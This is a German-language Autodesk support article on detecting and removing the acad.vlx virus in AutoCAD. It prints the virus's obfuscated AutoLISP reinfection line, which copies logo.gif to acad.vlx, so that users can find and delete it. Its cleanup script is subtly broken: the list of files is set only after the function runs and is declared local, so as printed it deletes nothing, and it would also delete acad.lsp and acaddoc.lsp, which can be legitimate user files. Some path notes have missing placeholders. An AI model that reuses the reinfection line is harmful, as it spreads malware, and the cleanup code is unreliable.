So erkennen und entfernen Sie das Acad.vlx-Virus

Autodesk Support

14. März 2024


Abgedeckte Produkte und Versionen


Problem:

In AutoCAD-basierten Produkten wurde das Auftreten einer schädlichen Datei acad.vlx beobachtet, die Zeichnungsfehler verursacht.

Lösung:

Bei dieser Datei handelt es sich nicht um eine von Autodesk bereitgestellte AutoCAD-Datei. Wenn die schädliche Datei acad.vlx in AutoCAD geladen wird, hat dies eine Schädigung der Zeichnungsdatei zur Folge und kann dazu führen, dass ein Dialogfeld Fehlende Language Packs angezeigt wird, wenn die Zeichnung gespeichert und erneut geöffnet wird.

Die Datei acad.vlx erstellt eine Kopie von sich selbst im Hilfeordner (z. B. C:\Programme\AutoCAD 20xx\Help\logo.gif). Einige andere Dateien werden ebenfalls geändert, und die Systemvariable ACADLSPASDOC wird auf 1 gesetzt, wodurch die Datei acad.vlx in andere geöffnete Zeichnungen geladen wird und diese beschädigt.

Der unten dargelegte Bereinigungsvorgang erkennt und löscht alle acad.vlx-Dateien, bevor AutoCAD versucht, sie zu laden. Hierdurch wird die Ausbreitung des Virus verhindert.

So verhindern Sie die Beschädigung weiterer Dateien 

Um den nachfolgend beschriebenen Vorgang durchzuführen, müssen Sie Systemadministrator für das Microsoft® Windows®-Betriebssystem sein.

  1. Suchen Sie im Installationsordner des Produkts nach dem Ordner Support ( z. B. C:\Programme\AutoCAD 20xx\Support).
     
  2. Doppelklicken Sie im Ordner Support auf die Datei acad20xx.lsp (z. B. acad2014.lsp für AutoCAD 2014). Fügen Sie den folgenden Code in der Datei hinzu. 
(defun cleanvirus( / lspfiles lspfile x)

  (foreach lspfile lspfiles
    (while (setq x (findfile lspfile))
      (progn
        (vl-file-delete x)
        (princ "\nDeleted file ")
        (princ x)
      );progn
    );while
  );foreach
)
(cleanvirus)


​​​​​​​(setq lspfiles '("acad.vlx" "logo.gif" "acaddoc.lsp" "acad.fas" "acad.lsp"))
AutoCAD wird die Dateien acad.vlx und logo.gif erkennen und löschen.
  1. Öffnen Sie jede der folgenden Dateien:

    Bei Version 2013 oder früher
    • C:\Programme\AutoCAD 20xx\Express\acetauto.lsp
    • \Support\en-us\ai_utils.lsp
    • \Support\acad.mnl
Anmerkungen:
Ersetzen Sie „Wert FÜR ROAMABLEROOTPREFIX“ durch den Wert, der ausgegeben wird, wenn Sie in der Befehlszeile ROAMABLEROOTPREFIX eingeben.
Ersetzen Sie durch den Dateipfad, unter dem das AutoCAD-basierte Produkt installiert ist. 
„En-us“ kann je nach der installierten Sprache variieren.
 
Bei Version 2014 oder später
  • C:\Programme\AutoCAD 20xx\Express\acetauto.lsp
  • \Support\en-us\ai_utils.lsp
  • \Support\en-us\acad.mnl

Anmerkungen:
Ersetzen Sie durch den Dateipfad, unter dem das AutoCAD-basierte Produkt installiert ist.
„En-us“ kann je nach der installierten Sprache variieren.
 

  1. Entfernen Sie die folgende Codezeile aus jeder Datei:
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
  1. Speichern Sie jede Datei.

So vermeiden Sie Viren in AutoCAD 2013

Service Pack 1 für AutoCAD 2013 enthält neue Sicherheitsoptionen zur Verhinderung von Infektionen durch Malware und Viren. Einzelheiten finden Sie im folgenden Dokument. Weitere Informationen finden Sie unter AutoLISP- und VBA-Sicherheitskontrollen in AutoCAD 2013 SP1.

Produkte:

AutoCAD-Produkte


Waren diese Informationen hilfreich?


Benötigen Sie Hilfe? Fragen Sie den Autodesk-Assistenten!

Der Assistent hilft Ihnen dabei, Antworten zu finden oder einen Mitarbeiter zu kontaktieren.


Welche Supportstufe haben Sie?

Verschiedene Abonnementverträge bieten unterschiedliche Supportkategorien. Finden Sie heraus, welche Supportstufe Ihr Vertrag unterstützt.

Supportstufen anzeigen